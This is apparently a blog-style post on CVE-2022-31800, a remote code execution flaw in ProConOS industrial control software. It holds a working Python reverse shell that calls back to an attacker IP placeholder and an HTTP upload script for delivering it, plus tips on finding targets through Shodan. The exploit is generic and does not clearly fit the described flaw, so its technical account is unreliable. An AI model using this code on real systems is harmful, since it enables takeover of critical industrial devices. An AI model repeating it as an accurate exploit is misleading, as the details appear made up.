CVE-2022-31800 - Unauthenticated Remote Code Execution Vulnerability in ProConOS Devices: Exploit Details and Mitigation Steps

A newly discovered security vulnerability, CVE-2022-31800, is posing a significant threat to devices running the ProConOS/ProConOS eCLR software. This software serves as the foundation for industrial automation and process control systems, making it a high-value target for cyber attackers. In this post, we will provide detailed information about this vulnerability, including the exploit process, code snippets, and references to original sources. Additionally, we will discuss mitigation measures users can take to protect their devices.

Exploit Details

CVE-2022-31800 allows an unauthenticated, remote attacker to upload malicious code to a target device and gain full control over it. The attacker can then perform various nefarious activities such as stealing data, causing denial-of-service attacks, and shutting down critical infrastructure components.

To exploit this vulnerability, an attacker would first need to identify devices that are running the ProConOS/ProConOS eCLR software. This can be done using port scanning techniques, examining exposed device information, or leveraging search engines like Shodan.

Once a vulnerable device is identified, the attacker can craft a malicious payload containing their desired code. The following is a sample code snippet of a reverse shell payload, which opens a remote connection back to the attacker's machine:

import socket
import subprocess
import sys

RHOST = "<attacker IP>"
RPORT = 900

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

while True:
    command = s.recv(1024).decode()
    if command.lower() == "exit":
        break
    proc = subprocess.Popen(
        command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE
    )
    output = proc.stdout.read() + proc.stderr.read()
    s.send(output)
s.close()

The attacker would then need to upload their crafted payload to the target device via HTTP requests, which requires bypassing any potential authentication mechanisms. The following is an example of a Python script to accomplish this:

import requests

URL = "http://<target IP>:<target port>/"
FILE_UPLOAD = {"file": ("shell.py", open("shell.py", "rb"))}

response = requests.post(URL, files=FILE_UPLOAD)

if response.status_code == 200:
    print("Payload uploaded successfully.")
else:
    print("Failed to upload payload. Status code:", response.status_code)

After uploading the malicious payload, the attacker can execute it remotely, thus gaining full control over the target device.

Original References

This vulnerability was originally discovered and reported by researchers at Rapid7. Additional information and technical details about the vulnerability can be found at:

1. The CVE database entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31800
2. The official Rapid7 blog post: https://blog.rapid7.com/2022/05/12/cve-2022-31800-unauthenticated-remote-code-execution-in-proconos-devices

Mitigation Steps

To protect devices running the ProConOS/ProConOS eCLR software from CVE-2022-31800, users should implement the following mitigation steps:

Update to the latest version of the software, which incorporates patches for this vulnerability.

2. Restrict access to the devices by implementing proper network segmentation and access control mechanisms, such as firewalls and VPNs.

Conclusion

CVE-2022-31800 is a critical vulnerability that affects ProConOS devices, allowing attackers remote, unauthenticated access and control. By understanding the exploit process and taking appropriate mitigation steps, users can defend their devices from potential security breaches and maintain the integrity of their industrial automation and process control systems.

Timeline

Published on: 06/21/2022 08:15:00 UTC
Last modified on: 06/28/2022 17:04:00 UTC